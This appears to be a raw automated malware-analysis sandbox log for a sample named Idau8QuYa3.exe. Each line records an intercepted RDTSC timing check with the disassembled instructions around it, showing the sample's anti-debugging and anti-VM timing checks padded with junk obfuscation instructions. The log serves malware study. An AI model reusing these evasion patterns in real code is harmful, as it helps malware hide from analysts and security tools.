Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 693F06 second address: 693F10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD295329656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69B045 second address: 69B04F instructions: 0x00000000 rdtsc 0x00000002 js 00007FD2956E162Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69B04F second address: 69B07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jmp 00007FD295329660h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FD29532965Dh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69B07C second address: 69B08F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FD2956E1626h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69B08F second address: 69B093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69B1EB second address: 69B1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69B489 second address: 69B4BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329662h 0x00000007 ja 00007FD295329656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FD295329664h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69B4BE second address: 69B4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69BB0C second address: 69BB18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69BB18 second address: 69BB1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69BB1C second address: 69BB22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69BB22 second address: 69BB31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 jnc 00007FD2956E1626h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69BCA2 second address: 69BCA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 69BCA8 second address: 69BCB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007FD2956E1626h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6A4E71 second address: 6A4E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6A4E77 second address: 6A4E7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6A489E second address: 6A48BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329668h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6A48BB second address: 6A48DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD2956E1626h 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jnc 00007FD2956E1645h 0x00000013 pushad 0x00000014 jmp 00007FD2956E162Dh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6A4A4F second address: 6A4A5C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007FD295329656h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5D4210 second address: 5D421A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2956E1626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5D421A second address: 5D4224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD295329656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5D4224 second address: 5D4228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5D4228 second address: 5D4249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FD295329664h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6B8433 second address: 6B844C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FD2956E1630h 0x0000000a push esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6B844C second address: 6B8452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6B8452 second address: 6B8474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2956E162Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FD2956E1626h 0x00000012 jnp 00007FD2956E1626h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6B80EE second address: 6B80F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6B80F4 second address: 6B8102 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FD2956E162Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5D93FC second address: 5D9406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6CF5C7 second address: 6CF5CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6CF72A second address: 6CF73E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD29532965Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6CFC54 second address: 6CFC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6CFDB5 second address: 6CFDC0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007FD295329656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6CFDC0 second address: 6CFDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6DD8DA second address: 6DD8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6DD8E9 second address: 6DD8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6DD8EF second address: 6DD8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6DD744 second address: 6DD757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6DD757 second address: 6DD764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6EF19F second address: 6EF1A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6F1F72 second address: 6F1F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD29532965Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6F1B7C second address: 6F1B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007FD2956E1626h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6F4616 second address: 6F461A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6F461A second address: 6F462F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD2956E162Ch 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 6F462F second address: 6F463C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007FD29532965Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 708B09 second address: 708B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD2956E1626h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70797D second address: 707987 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD295329656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 707AF5 second address: 707AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 707C51 second address: 707C6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329669h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 707C6E second address: 707C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FD2956E1637h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 707C8B second address: 707C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FD295329656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 707C96 second address: 707CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2956E1632h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FD2956E1632h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 708249 second address: 70824D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70824D second address: 708276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b jc 00007FD2956E162Ch 0x00000011 ja 00007FD2956E1626h 0x00000017 jp 00007FD2956E1632h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 708276 second address: 70827C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 7083CD second address: 7083E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2956E1632h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 7083E5 second address: 7083E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70B41E second address: 70B422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70B422 second address: 70B428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70B428 second address: 70B460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1630h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnc 00007FD2956E1628h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD2956E1638h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70B460 second address: 70B464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70B71F second address: 70B723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70B784 second address: 70B789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70B789 second address: 70B7F9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD2956E1628h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f je 00007FD2956E162Ch 0x00000015 and edx, 4B7AC388h 0x0000001b push 00000004h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007FD2956E1628h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov edx, 0EDB0F69h 0x0000003c mov dword ptr [ebp+122D369Dh], edx 0x00000042 call 00007FD2956E1629h 0x00000047 jns 00007FD2956E1632h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 je 00007FD2956E1626h 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70BAD1 second address: 70BB2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007FD295329660h 0x00000011 jmp 00007FD29532965Ah 0x00000016 nop 0x00000017 ja 00007FD295329661h 0x0000001d mov dword ptr [ebp+1248C15Eh], ebx 0x00000023 push dword ptr [ebp+122D2328h] 0x00000029 sub edx, dword ptr [ebp+122D2780h] 0x0000002f push B9F97E1Eh 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FD295329665h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70BB2C second address: 70BB31 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70E8A2 second address: 70E8AC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD295329662h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 70E8AC second address: 70E8B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 710919 second address: 710923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 710923 second address: 710929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 62521F second address: 625223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D60413 second address: 4D60417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D60417 second address: 4D60434 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D60434 second address: 4D6043A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D6043A second address: 4D6043E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D6043E second address: 4D6046E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1633h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD2956E1634h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D6046E second address: 4D60474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D60474 second address: 4D60493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD2956E1634h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D906C2 second address: 4D906C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D906C8 second address: 4D906CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D906CC second address: 4D90716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FD295329664h 0x0000000e mov dword ptr [esp], ecx 0x00000011 jmp 00007FD295329660h 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD295329667h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90716 second address: 4D90755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, DFh 0x00000005 pushfd 0x00000006 jmp 00007FD2956E1630h 0x0000000b add al, FFFFFFD8h 0x0000000e jmp 00007FD2956E162Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD2956E1634h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90755 second address: 4D9075B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D9075B second address: 4D9075F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D9075F second address: 4D90763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90763 second address: 4D907AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FD2956E1632h 0x00000011 pop esi 0x00000012 pushfd 0x00000013 jmp 00007FD2956E162Bh 0x00000018 and si, F0AEh 0x0000001d jmp 00007FD2956E1639h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D907AE second address: 4D907FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD29532965Ch 0x00000013 xor ch, 00000058h 0x00000016 jmp 00007FD29532965Bh 0x0000001b popfd 0x0000001c mov ecx, 28C5C20Fh 0x00000021 popad 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD295329661h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90890 second address: 4D908C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD2956E1637h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D908C3 second address: 4D90937 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD29532965Fh 0x00000009 or eax, 3F944C5Eh 0x0000000f jmp 00007FD295329669h 0x00000014 popfd 0x00000015 movzx esi, bx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov esi, eax 0x0000001d pushad 0x0000001e push edx 0x0000001f mov si, 813Bh 0x00000023 pop esi 0x00000024 mov dh, FAh 0x00000026 popad 0x00000027 je 00007FD2953296A0h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 jmp 00007FD295329665h 0x00000035 jmp 00007FD295329660h 0x0000003a popad 0x0000003b rdtsc
